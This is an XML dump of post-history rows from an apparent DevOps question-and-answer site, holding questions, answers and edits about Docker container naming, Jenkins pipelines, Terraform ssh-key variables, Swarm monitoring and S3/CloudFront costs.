  <row Id="29382" PostHistoryTypeId="2" PostId="9811" RevisionGUID="dc6206ec-8239-4a6c-b9a0-019d345b730f" CreationDate="2019-11-14T19:33:36.570" UserId="16683" Text="As the name of the container is randomly generated you cannot get it before it's generated (by definition). You can use [this](https://frightanic.com/goodies_content/docker-names.php) service to generate random names :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;NAME=$(curl -s https://frightanic.com/goodies_content/docker-names.php); \&#xD;&#xA;docker run -ti --name $NAME --hostname $NAME ubuntu:latest&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29384" PostHistoryTypeId="2" PostId="9812" RevisionGUID="5b39dd5c-e7b6-48d0-8fb8-f2a5206ec033" CreationDate="2019-11-14T20:34:29.900" UserId="18183" Text="I found the issue be that the &quot;Secondary Logon&quot; service had been disabled.  Enabling it and running the Ansible playbook again worked.&#xD;&#xA;&#xD;&#xA;I found the suggestion on this blog post:&#xD;&#xA;http://david-homer.blogspot.com/2018/01/pinvoke-createprocesswithlogonw-causes.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29385" PostHistoryTypeId="2" PostId="9813" RevisionGUID="4e81c39b-b438-4b51-8925-2ad3a41bd447" CreationDate="2019-11-14T22:38:18.863" UserId="18186" Text="As described in Jenkins documentation https://jenkins.io/doc/book/managing/security/#jnlp-tcp-port, you need to configure:&#xD;&#xA;&#xD;&#xA; 1. Jenkins to use fixed TCP port for JNLP agent, for instance 39057&#xD;&#xA; 2. AWS loadbalancer to listen on port 39057 and forward it to Jenkins on same port&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29388" PostHistoryTypeId="2" PostId="9815" RevisionGUID="575fba4e-23f3-4d9a-95c4-cdb927eb22a6" CreationDate="2019-11-15T08:57:19.043" UserId="1084" Text="I use Terrafrom and manage access to VMs in GCE by changing VM metadata.&#xD;&#xA;&#xD;&#xA;Before I put it to string, but it not good, so I try to put them to variable and use it. But I faced problem. This is my code:&#xD;&#xA;&#xD;&#xA;    variable &quot;ssh_keys&quot; {&#xD;&#xA;      type = &quot;list&quot;&#xD;&#xA;      default = [&#xD;&#xA;        {&#xD;&#xA;          user = &quot;atolkachev&quot;,&#xD;&#xA;          key = &quot;ssh-rsa my_key atolkachev&quot;&#xD;&#xA;        },&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;google_compute_instance&quot; &quot;instance&quot; {&#xD;&#xA;      zone = &quot;${var.region}-${var.zone}&quot;&#xD;&#xA;      project = &quot;${var.project_name}&quot;&#xD;&#xA;      metadata = {&#xD;&#xA;        ssh-keys = join(&quot;\n&quot;, [for user, key in var.ssh_keys : &quot;${user}:${key}&quot;])&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;When I execute it, I get error:&#xD;&#xA;&#xD;&#xA;    Error: Invalid template interpolation value&#xD;&#xA;    &#xD;&#xA;      on main.tf line 24, in resource &quot;google_compute_instance&quot; &quot;instance&quot;:&#xD;&#xA;      24:     ssh-keys = join(&quot;\n&quot;, [for user, key in var.ssh_keys : &quot;${user}:${key}&quot;])&#xD;&#xA;&#xD;&#xA;I tried to find solution, but failed." ContentLicense="CC BY-SA 4.0" />
  <row Id="29389" PostHistoryTypeId="1" PostId="9815" RevisionGUID="575fba4e-23f3-4d9a-95c4-cdb927eb22a6" CreationDate="2019-11-15T08:57:19.043" UserId="1084" Text="Use Terraform to manage ssh-keys in GCE" ContentLicense="CC BY-SA 4.0" />
  <row Id="29390" PostHistoryTypeId="3" PostId="9815" RevisionGUID="575fba4e-23f3-4d9a-95c4-cdb927eb22a6" CreationDate="2019-11-15T08:57:19.043" UserId="1084" Text="&lt;terraform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29393" PostHistoryTypeId="5" PostId="453" RevisionGUID="8da9f23e-1d48-4381-a4bc-ddd8c7d9da8d" CreationDate="2019-11-15T09:09:26.987" UserId="18192" Comment="Remove potential confusion of conflating 'container' and 'image'" Text="During development you generate a fair amount of different artifacts. These might include:&#xD;&#xA;&#xD;&#xA;* The source code&#xD;&#xA;* The compiled application&#xD;&#xA;* A deployable package&#xD;&#xA;* Documentation&#xD;&#xA;&#xD;&#xA;and potentially others as well&#xD;&#xA;&#xD;&#xA;While you could use a source control system to store all of them, it's usually massively inefficient, as source control systems are usually designed to handle text based files, and not binary files. You might be able to use them as a simple storage mechanism, if most of your releases are text based, and you don't have to store a lot of binary data.&#xD;&#xA;&#xD;&#xA;Artifact repositories however are designed to store all kinds of files, including binary ones. This includes anything from zipped up source codes, to build results, to things like docker images as well. Also, they usually not only store these artifacts but also help manage them using various additional functions, for example:&#xD;&#xA;&#xD;&#xA;* Versioning support: properly store some metadata, like when each artifact was built, what their version number is, store their hashes, etc.&#xD;&#xA;* Retention: make sure you only keep the important artifacts, and automatically delete ones that are only snapshots / not needed anymore, etc. based on various criteria you can set up&#xD;&#xA;* Access control: set up who can publish and who can download the various artifacts&#xD;&#xA;* Promotion: ability to promote artifacts. For example you can have snapshot artifacts with a short retention period on a server near your coders, and a separate repository near the live servers, where only artifacts that have been deemed deployable appear. This also includes support for various version channels, and moving artifacts between them (like promoting a specific version from beta to stable).&#xD;&#xA;* Act as a native repository for the artifacts. Meaning you can use it as the main repository for maven, rubygems, docker, etc. This can also include caching of artifacts from the official repositories as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="29394" PostHistoryTypeId="24" PostId="453" RevisionGUID="8da9f23e-1d48-4381-a4bc-ddd8c7d9da8d" CreationDate="2019-11-15T09:09:26.987" Comment="Proposed by 18192 approved by 354, 210 edit id of 1119" ContentLicense="CC BY-SA 4.0" />
  <row Id="29396" PostHistoryTypeId="2" PostId="9816" RevisionGUID="781b17c1-66e9-4da0-bea6-b60ede06c6b8" CreationDate="2019-11-15T09:10:26.730" UserId="354" Text="I have a Jenkins declarative pipeline with several stages. Some of these stages need to be executed _based on whether a previous stage has been executed_. In pseudocode:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline{&#xD;&#xA;  stages{&#xD;&#xA;    stage('1: Always do this thing') {&#xD;&#xA;      steps { &#xD;&#xA;        sh 'do_thing.sh'&#xD;&#xA;      } &#xD;&#xA;    }&#xD;&#xA;    stage('2: Maybe do this thing') {&#xD;&#xA;      when{ condition }&#xD;&#xA;      steps {&#xD;&#xA;        sh 'sometimes_do_this_thing.sh'&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    stage('3: Do this thing if 2 was executed'){&#xD;&#xA;      when { pipeline.stages.2.was_executed }&#xD;&#xA;      steps {&#xD;&#xA;        sh 'conditional_path.sh'&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I accept that the best way to do this might be in the scripted pipeline, but I have declarative pipelines. Including some scripted bits in them is also acceptable, if kept to a minimum.&#xD;&#xA;&#xD;&#xA;So: **What is the most elegant way to execute a stage in a pipeline conditional on the execution status of the previous one**?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29397" PostHistoryTypeId="1" PostId="9816" RevisionGUID="781b17c1-66e9-4da0-bea6-b60ede06c6b8" CreationDate="2019-11-15T09:10:26.730" UserId="354" Text="Jenkins Declarative pipeline: Execute stage conditional on execution of previous stage" ContentLicense="CC BY-SA 4.0" />
  <row Id="29398" PostHistoryTypeId="3" PostId="9816" RevisionGUID="781b17c1-66e9-4da0-bea6-b60ede06c6b8" CreationDate="2019-11-15T09:10:26.730" UserId="354" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29399" PostHistoryTypeId="2" PostId="9817" RevisionGUID="c4737cf4-04f5-4c6b-94fd-2f1355cad069" CreationDate="2019-11-15T09:33:28.090" UserId="16683" Text="A pretty simple solution is to declare a global variable on top of your pipeline, and check it's value in your last conditional stage:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;def flag = false;&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;    stages {&#xD;&#xA;        stage('1 - Always') {&#xD;&#xA;            steps {&#xD;&#xA;                sh './always.sh'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('2 - Maybe') {&#xD;&#xA;            when { condition }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                sh './maybe.sh'&#xD;&#xA;                flag = true&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('3 - If Maybe was executed') {&#xD;&#xA;            when { expression { flag == true } }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                sh './conditional.sh'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29400" PostHistoryTypeId="5" PostId="9817" RevisionGUID="4d8e13d8-4241-4fc7-8867-cc42411384e8" CreationDate="2019-11-15T09:59:44.287" UserId="354" Comment="setting the flag should be wrapped in a script {} " Text="A pretty simple solution is to declare a global variable on top of your pipeline, and check it's value in your last conditional stage:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;def flag = false;&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;    stages {&#xD;&#xA;        stage('1 - Always') {&#xD;&#xA;            steps {&#xD;&#xA;                sh './always.sh'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('2 - Maybe') {&#xD;&#xA;            when { condition }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                sh './maybe.sh'&#xD;&#xA;                script { flag = true }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('3 - If Maybe was executed') {&#xD;&#xA;            when { expression { flag == true } }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                sh './conditional.sh'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29401" PostHistoryTypeId="2" PostId="9818" RevisionGUID="5d0b94f0-d36c-41ce-bd29-d2b1728e701c" CreationDate="2019-11-15T10:51:06.613" UserId="12833" Text="The easiest way is not to handle this information)) You will get tired of such useless information like containers restarts. &#xD;&#xA;&#xD;&#xA;Anyway, there is couple of tools to monitor docker with prometheus:&#xD;&#xA;&#xD;&#xA; - Google [cadvisor][1]&#xD;&#xA; - [Docker experimental prometheus metrics][2]&#xD;&#xA;&#xD;&#xA;But it requires installation of prometheus, alert-manager, find metrics for triggering and set up alert rules.&#xD;&#xA;&#xD;&#xA;Or maybe try to find zabbix tool for monitoring docker containers. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/google/cadvisor&#xD;&#xA;  [2]: https://docs.docker.com/config/thirdparty/prometheus/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29402" PostHistoryTypeId="10" PostId="9809" RevisionGUID="2cdcb1dd-0845-4fb4-bc10-2a033b7cfd58" CreationDate="2019-11-15T12:15:28.717" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29403" PostHistoryTypeId="10" PostId="9795" RevisionGUID="c9329e17-f8bb-4870-9f84-a9fd2ba0ceaa" CreationDate="2019-11-15T12:16:48.707" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29408" PostHistoryTypeId="5" PostId="9809" RevisionGUID="830e4937-d9ec-4bf6-bb20-a20509e7a0de" CreationDate="2019-11-15T12:41:10.633" UserId="11179" Comment="added 87 characters in body" Text="November 13, 2019, [Mirantis Acquires Docker Enterprise Platform Business](https://www.mirantis.com/company/press-center/company-news/mirantis-acquires-docker-enterprise/). The same day, Docker Inc. claims [they will now focus on docker Desktop and Docker Hub](https://www.docker.com/blog/docker-next-chapter-advancing-developer-workflows-for-modern-apps/).&#xD;&#xA;&#xD;&#xA;Given those changes, will Docker CE continue to share the same codebase as Docker Enterprise, or should we consider it now as a fork like MySQL vs MariaDB?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29409" PostHistoryTypeId="4" PostId="9809" RevisionGUID="78257076-3163-4175-9e79-5463c2f1da1b" CreationDate="2019-11-15T12:47:59.973" UserId="11179" Comment="added 87 characters in body" Text="What are the implications for Docker Community Edition of the Docker acquisition by Mirantis?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29410" PostHistoryTypeId="11" PostId="9809" RevisionGUID="2a8c7431-c844-4d6b-a509-57686e1f784f" CreationDate="2019-11-15T12:48:23.720" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29411" PostHistoryTypeId="5" PostId="9802" RevisionGUID="23b3e430-f910-4e19-86a6-91137e035e26" CreationDate="2019-11-15T14:57:06.727" UserId="6375" Comment="Modify content" Text="I have been on a typical journey of,&#xD;&#xA;&#xD;&#xA; 1. deploying software on a machine&#xD;&#xA; 2. deploying software in a container&#xD;&#xA; 3. deploying software using docker swarm.&#xD;&#xA;&#xD;&#xA;Needs for this journey is that swarm removes a large portion of micro-managing resources and machine allocation etc.&#xD;&#xA;&#xD;&#xA;There is, however, a hurdle I am trying to overcome.&#xD;&#xA;&#xD;&#xA;For point one and two, we have heavy monitoring of our software using a tool (Zabbix) which has given us great insights into any problems or metrics. &#xD;&#xA;&#xD;&#xA;As we migrate to point three, how does one monitor an individual container?&#xD;&#xA;&#xD;&#xA;**To give a real-world illustration:**&#xD;&#xA;&#xD;&#xA;I have software that is &quot;buggy&quot;, every now and then it dies. The health check would typically fail and a new container would start with no service interruption. My question is, &#xD;&#xA;&#xD;&#xA; - How am I aware that this has occurred in order to investigate a potential problem ?&#xD;&#xA; - One potential solution is to monitor the docker swarm event stream; is this the only solution?&#xD;&#xA;&#xD;&#xA;Any additional insights into this are greatly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29412" PostHistoryTypeId="24" PostId="9802" RevisionGUID="23b3e430-f910-4e19-86a6-91137e035e26" CreationDate="2019-11-15T14:57:06.727" Comment="Proposed by 6375 approved by -1 edit id of 1120" ContentLicense="CC BY-SA 4.0" />
  <row Id="29413" PostHistoryTypeId="5" PostId="9802" RevisionGUID="dbafafee-6d1d-45fc-8f7f-1d9e48e838a0" CreationDate="2019-11-15T14:57:06.727" UserId="210" Comment="Modify content" Text="I have been on a typical journey of:&#xD;&#xA;&#xD;&#xA; 1. deploying software on a machine&#xD;&#xA; 2. deploying software in a container&#xD;&#xA; 3. deploying software using docker swarm&#xD;&#xA;&#xD;&#xA;The need for this journey is that swarm removes a large portion of micro-managing resources and machine allocation etc.&#xD;&#xA;&#xD;&#xA;There is, however, a hurdle I am trying to overcome.&#xD;&#xA;&#xD;&#xA;For point one and two, we have heavy monitoring of our software using a tool (Zabbix) which has given us great insights into any problems or metrics. &#xD;&#xA;&#xD;&#xA;As we migrate to point three, how does one monitor an individual container?&#xD;&#xA;&#xD;&#xA;**To give a real-world illustration:**&#xD;&#xA;&#xD;&#xA;I have software that is &quot;buggy&quot;, every now and then it dies. The health check would typically fail and a new container would start with no service interruption. My question is, &#xD;&#xA;&#xD;&#xA; - How am I aware that this has occurred in order to investigate a potential problem ?&#xD;&#xA; - One potential solution is to monitor the docker swarm event stream; is this the only solution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29415" PostHistoryTypeId="52" PostId="9816" RevisionGUID="050e1a50-47fb-4607-bf68-5923b786c6a3" CreationDate="2019-11-15T17:12:29.117" />
  <row Id="29416" PostHistoryTypeId="2" PostId="9819" RevisionGUID="871cf994-e622-429f-9b46-1b55236ba996" CreationDate="2019-11-15T17:49:22.167" UserId="15792" Text="Yes, there is a built in way.  You can define your own &quot;friendly name&quot; by using the --name parameter when creating the container:&lt;pre&gt;&lt;code&gt;docker run -ti --hostname OTHER_CONTAINER_FRIENDLY_NAME --name MY_NAME ubuntu:latest&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;If you are trying to automate this process then your build tool can supply the name from a variable or via the run script.  If you are using a docker-compose file you can specify the name directly in the yaml:&lt;pre&gt;&lt;code&gt;services:&#xD;&#xA;  myservice:&#xD;&#xA;    container_name: example_friendly_name&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29419" PostHistoryTypeId="5" PostId="9810" RevisionGUID="2f438053-8a3a-4a00-a80a-a2c7c6e1765f" CreationDate="2019-11-16T00:24:42.590" UserId="18178" Comment="Added Kubernetes as a possible solution, but really looking for Docker standalone." Text="**Background**&#xD;&#xA;&#xD;&#xA;When you start a Docker container as in the following example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker run -ti ubuntu:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Docker docker automatically assigns the container an ID and a friendly name.&#xD;&#xA;&#xD;&#xA;Docker friendly names are of the format `adjective_famousPerson`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;I would like to get the friendly name that Docker will generate for the next container, so that I can assign that name to the hostname parameter of my `docker run` command.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;```&#xD;&#xA;$ docker run -ti --hostname docker.next_friendly_name ubuntu:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is there a built in way to do this with docker?&#xD;&#xA;&#xD;&#xA;I need a friendly name that is randomly generated, but I don't want to script it up myself if there is a way to do this with **Docker** or even **Docker Swarm** or **Kubernetes**.&#xD;&#xA;&#xD;&#xA;Additionally, the `name` of the container and the `hostname` of the container need to match." ContentLicense="CC BY-SA 4.0" />
  <row Id="29420" PostHistoryTypeId="6" PostId="9810" RevisionGUID="2f438053-8a3a-4a00-a80a-a2c7c6e1765f" CreationDate="2019-11-16T00:24:42.590" UserId="18178" Comment="Added Kubernetes as a possible solution, but really looking for Docker standalone." Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29421" PostHistoryTypeId="2" PostId="9820" RevisionGUID="2b76aeec-937b-410c-9f5a-80885efe077a" CreationDate="2019-11-16T00:32:36.930" UserId="11221" Text="You should be using `--name` to create your own friendly names. The randomly generated ones you are thinking of are done at run time so you have no possible way of knowing what the next one will be till it's generated. " ContentLicense="CC BY-SA 4.0" />
  <row Id="29422" PostHistoryTypeId="2" PostId="9821" RevisionGUID="daa15628-cee1-4ef8-97da-ddd7911db038" CreationDate="2019-11-16T00:36:28.963" UserId="11221" Text="I am trying to create a Jenkins pipeline that will pull a public image from docker hub and build a Vue.js application inside that container. In my Jenkins server I already have other pipelines that use AWS ECR to push images too. It appears that my build that is trying to access a public image is trying to log into AWS ECR  as well. I'd be okay with putting that public image on ECR if that would solve my issue. &#xD;&#xA;&#xD;&#xA;Here is the output of the failed Jenkins build&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[Pipeline] withDockerRegistry&#xD;&#xA;$ docker login -u AWS -p ******** https://index.docker.io/v1/&#xD;&#xA;WARNING! Using --password via the CLI is insecure. Use --password-stdin.&#xD;&#xA;Error response from daemon: Get https://registry-1.docker.io/v2/: unauthorized: incorrect username or password&#xD;&#xA;[Pipeline] // withDockerRegistry&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29423" PostHistoryTypeId="1" PostId="9821" RevisionGUID="daa15628-cee1-4ef8-97da-ddd7911db038" CreationDate="2019-11-16T00:36:28.963" UserId="11221" Text="Jenkins and docker login issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="29424" PostHistoryTypeId="3" PostId="9821" RevisionGUID="daa15628-cee1-4ef8-97da-ddd7911db038" CreationDate="2019-11-16T00:36:28.963" UserId="11221" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29428" PostHistoryTypeId="50" PostId="4398" RevisionGUID="cd65bb39-bbb2-41d0-9486-e759dbe9e33b" CreationDate="2019-11-16T11:01:45.253" UserId="-1" />
  <row Id="29429" PostHistoryTypeId="11" PostId="9795" RevisionGUID="2699c364-8510-4a31-ae2d-f6f9b34971b2" CreationDate="2019-11-16T11:42:02.257" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29431" PostHistoryTypeId="2" PostId="9823" RevisionGUID="d6fd3570-17aa-467b-825c-a21242f0355c" CreationDate="2019-11-16T16:13:42.197" UserId="1084" Text="There was used wrong type for `variable`, should be:&#xD;&#xA;&#xD;&#xA;    variable &quot;ssh_keys&quot; {&#xD;&#xA;      type = &quot;map&quot;&#xD;&#xA;      default = {&#xD;&#xA;        &quot;atolkachev&quot; = &quot;ssh-rsa my_key atolkachev&quot;&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="29432" PostHistoryTypeId="2" PostId="9824" RevisionGUID="7b1b2e9a-01f1-4193-a34d-d54e63e7c078" CreationDate="2019-11-16T16:15:27.773" UserId="210" Text="&gt; Over time, I have come to be of the opinion that DevOps was born when&#xD;&#xA;&gt; the philosophy of the Agile methodology was applied to Operations.&#xD;&#xA;&gt; Similarly so with SecOps.&#xD;&#xA;&#xD;&#xA;[Wikipedia][1] indicates that Agile software development is about &quot;early delivery&quot;, &quot;adaptive planning&quot; and &quot;rapid and flexible response to change&quot;. In order to deliver early, automation is key in DevOps.&#xD;&#xA;&#xD;&#xA;&gt; What then would be DataOps - applying agile methods to Big Data &amp; Data&#xD;&#xA;&gt; Analytics look like?&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][2], DataOps tries to incorporate DevOps best practices to enhance data analytics.&#xD;&#xA;&#xD;&#xA;&gt; How is this similar to agile software development and DevOps and where&#xD;&#xA;&gt; might it be different?&#xD;&#xA;&#xD;&#xA;**Similar**&#xD;&#xA;&#xD;&#xA;* Quick action on change&#xD;&#xA;* Fail fast&#xD;&#xA;* Adaptation&#xD;&#xA;* Tools &amp; platforms: ansible, terraform, AWS, GCP, AKS, EKS&#xD;&#xA;&#xD;&#xA;**Differences**&#xD;&#xA;&#xD;&#xA;* Focus on BigData&#xD;&#xA;* Knowledge about NoSQL Hadoop, Hbase, Cassandra, MongoDB needed&#xD;&#xA;* How to tune relational database like postgres, mysql that contains large amount of data&#xD;&#xA;* More emphasize on bigdata tools like Spark&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DataOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="29433" PostHistoryTypeId="2" PostId="9825" RevisionGUID="ccb48abf-c1a7-4b03-9c26-a93124d20008" CreationDate="2019-11-16T16:23:02.410" UserId="18159" Text="I think your jenkins need to create an rapo with aws first for that what we normally do is, let's first do a manual pull from jenkins machine from ecr. Use ecr login command $ecr login (with ur region codes etc) is there, try that first ( to get full command open ECR in aws and click on ecr push command,  there u will get the full command). Then after successful login try again to pull the image this should pass. After getting this done try using jenkins pipeline.&#xD;&#xA;All the best." ContentLicense="CC BY-SA 4.0" />
  <row Id="29436" PostHistoryTypeId="2" PostId="9826" RevisionGUID="48c3033a-de08-4ab7-95d5-3f9de0dd9c55" CreationDate="2019-11-17T07:37:17.967" UserId="18221" Text="On my site I have the ability for users to upload avatars (which they upload to s3). They can only have one avatar at the moment, so I currently just have the filename set to their user id.&#xD;&#xA;&#xD;&#xA;However, they may replace their avatars, which causes issues. Because the s3 is propagating to CloudFront, I need to invalidate the cache for the filename when they upload their new avatar (because it replaces the old avatar file). But with CloudFront invalidations are expensive.&#xD;&#xA;&#xD;&#xA;It almost seems like Amazon would prefer I just not delete the old files, and instead just give the new avatar a new name and leave the old one in there, even though it's no longer being used by anyone. That way I can avoid the invalidation.&#xD;&#xA;&#xD;&#xA;The other option is not to use CloudFront at all, and just upload to s3, and make the s3 bucket public. But the problem with this is that CloudFront is much more generous with their GET request costs and amounts (2,000,000 per month with CloudFront and only 20,000 per month with S3 buckets).&#xD;&#xA;&#xD;&#xA;Basically, I have these 3 options, and I'm not sure which to pick, given the above:&#xD;&#xA;&#xD;&#xA;1) Replace the files in s3 and then invalidate the file in CloudFront&#xD;&#xA;&#xD;&#xA;2) Just dump more files in the s3 bucket and use CloudFront&#xD;&#xA;&#xD;&#xA;3) Don't use CloudFront, and just replace the file in s3 and then serve it from the bucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="29437" PostHistoryTypeId="1" PostId="9826" RevisionGUID="48c3033a-de08-4ab7-95d5-3f9de0dd9c55" CreationDate="2019-11-17T07:37:17.967" UserId="18221" Text="For storing avatars in s3, which approach has the lowest cost?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29438" PostHistoryTypeId="3" PostId="9826" RevisionGUID="48c3033a-de08-4ab7-95d5-3f9de0dd9c55" CreationDate="2019-11-17T07:37:17.967" UserId="18221" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;amazon-cloudfront&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29439" PostHistoryTypeId="5" PostId="9826" RevisionGUID="42aee886-0fae-45cc-9cfb-12aec4134ce1" CreationDate="2019-11-17T07:43:56.090" UserId="18221" Comment="added 206 characters in body" Text="On my site I have the ability for users to upload avatars (which they upload to s3). They can only have one avatar at the moment, so I currently just have the filename set to their user id.&#xD;&#xA;&#xD;&#xA;However, they may replace their avatars, which causes issues. Because the s3 is propagating to CloudFront, I need to invalidate the cache for the filename when they upload their new avatar (because it replaces the old avatar file). But with CloudFront invalidations are expensive.&#xD;&#xA;&#xD;&#xA;It almost seems like Amazon would prefer I just not delete the old files, and instead just give the new avatar a new name and leave the old one in there, even though it's no longer being used by anyone. That way I can avoid the invalidation.&#xD;&#xA;&#xD;&#xA;The other option is not to use CloudFront at all, and just upload to s3, and make the s3 bucket public. But the problem with this is that CloudFront is much more generous with their GET request costs and amounts (2,000,000 per month with CloudFront and only 20,000 per month with S3 buckets).&#xD;&#xA;&#xD;&#xA;Basically, I have these 3 options, and I'm not sure which to pick, given the above:&#xD;&#xA;&#xD;&#xA;1) Replace the files in s3 and then invalidate the file in CloudFront&#xD;&#xA;&#xD;&#xA;   * **Problem:** invalidations are expensive&#xD;&#xA;&#xD;&#xA;2) Just dump more files in the s3 bucket and use CloudFront&#xD;&#xA;&#xD;&#xA;   * **Problem:** the old, unused avatars just sit there wasting s3 bucket space&#xD;&#xA;&#xD;&#xA;3) Don't use CloudFront, and just replace the file in s3 and then serve it from the bucket&#xD;&#xA;&#xD;&#xA;   * **Problem:** CloudFront has cheaper GET requests and better user experience with latency" ContentLicense="CC BY-SA 4.0" />
  <row Id="29440" PostHistoryTypeId="5" PostId="2829" RevisionGUID="44d6958f-9070-4ee2-8acc-58490cc633ef" CreationDate="2019-11-17T16:36:09.933" UserId="18225" Comment="grammar edits" Text="Well, the extra bells and whistles is called process isolation, a container gets its own [namespace][1] from the host kernel, that means the program in the container can't try to read kernel memory or eat more RAM than allowed.&#xD;&#xA;&#xD;&#xA;It also isolate network stacks, so two process can listen on port 8080 for exemple,&#xD;&#xA;you'll have to handle the routing at host level, there's no magic here, but this allow handling the routing at one place and avoid modifying the process configuration to listen to a free port.&#xD;&#xA;&#xD;&#xA;Secondly a chroot is still read/write, any change is permanent, a docker container using `aufs` will start from a clean filesystem each time you launch the container (changes are kept if you stop/start it IIRC).&#xD;&#xA;&#xD;&#xA;So while a container may be thought of as `process namespace` + `chroot`, the reality is a little more complex.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Linux_namespaces" ContentLicense="CC BY-SA 4.0" />
  <row Id="29441" PostHistoryTypeId="24" PostId="2829" RevisionGUID="44d6958f-9070-4ee2-8acc-58490cc633ef" CreationDate="2019-11-17T16:36:09.933" Comment="Proposed by 18225 approved by 40 edit id of 1121" ContentLicense="CC BY-SA 4.0" />
  <row Id="29442" PostHistoryTypeId="2" PostId="9827" RevisionGUID="c2e1ff45-cddd-4baa-b908-9fb872bc87a5" CreationDate="2019-11-17T17:21:11.283" UserId="18226" Text="I am working on a web app where that I divided into two blocks:&#xD;&#xA;1. One for front-end.&#xD;&#xA;2. One for backend doingheavy computation which won't be used every time&#xD;&#xA;Both parts of the web service are hosted on digital ocean.&#xD;&#xA;In order to cut costs, I created manually a snapshot of the back. The idea is to create a droplet from this image using a rest API if required by the front. At the start of the backend droplet, two docker containers are created immediately.&#xD;&#xA;&#xD;&#xA;My problem is that since the droplet is a fresh ubuntu instance, my cron jobs are not executed after the creation of the droplet. &#xD;&#xA;I am suspecting the reason is because Ubuntu is asking for password change and blocking every thing.&#xD;&#xA;&#xD;&#xA;For that, I need to rechange the password of the instance manually then reboot it. This is clearly not possible.&#xD;&#xA;Is there a way to automate this part ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
